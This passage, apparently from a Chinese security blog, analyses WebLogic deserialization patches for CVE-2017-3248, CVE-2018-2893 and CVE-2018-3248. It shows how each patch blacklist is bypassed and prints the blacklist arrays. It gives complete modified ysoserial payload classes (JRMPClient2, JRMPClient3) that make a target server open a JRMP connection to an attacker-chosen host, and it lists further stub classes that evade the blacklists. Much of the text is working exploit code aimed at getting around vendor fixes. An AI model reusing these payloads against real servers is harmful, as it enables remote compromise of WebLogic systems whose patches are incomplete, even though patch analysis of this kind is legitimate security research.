weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream类,添加了一个resolveProxyClass方法,只要是数据由java.rmi.registry.Registry接口传递过来就直接抛出异常,否则再调用其父类resolveProxyClass进行正常操作思路 $1$
既然只禁了
registry一个接口,那么一个很显然的思路就是用其他的远程接口,比如使用java.rmi.activation.Activator或者java.util.Map只需要修改
ysoserial中的JRMPClient模块即可修改前:

修改为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}思路 $2$
删去
JRMPClient中的Proxy部分原因是在
2017-3248中如果顺利调试的话可以看到readobject存有两个分支,对于需要反序列化的对象,如果是动态代理则会进入resolveProxyClass分支,而删去Proxy后则自然不会进入该分支,即绕过了补丁也就是把
Proxy部分删去,再做一些改动即可
CVE-2018-2893补丁分析
1
2
3
4
5
6
7private static final String[]DEFAULT_BLACKLIST_CLASSES = new String[]{
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"sun.rmi.server.UnicastRef"
};禁掉了
RMI的UnicastRef类关于这个漏洞,网上主流的是采用
cve-2016-0638的streamMessageImpl加上cve-2018-2628的JRMPClient但笔者在找资料时发现了一位佬当时写的文章
这里就不班门弄斧了
CVE-2018-3248补丁分析
1
2
3
4
5
6
7
8
9
10
11private static final String[] DEFAULT_BLACKLIST_PACKAGES =
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };也就是禁止了
1
2
3
4java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject佬告诉我们只需要找到满足以下条件的类即可
- 继承远程类
java.rmi.server.RemoteObject 不在黑名单中
那么有以下类均可
1
2
3
4
5javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
- 继承远程类
原理
这里说一下怎么笨笨的找子类:
先写个
import java.rmi.server.remoteObejctInvocationHandler跳转到其.java文件里,然后ctrl+H看到子类信息
然后双击
remoteObject跳转到其.java文件中,再ctrl+H即可看到其所有子类
以
RMIConnectionImpl_Stub为例,右键-图表可以更明显地看出其父类
payload如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42package ysoserial.payloads;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
暂时就这么多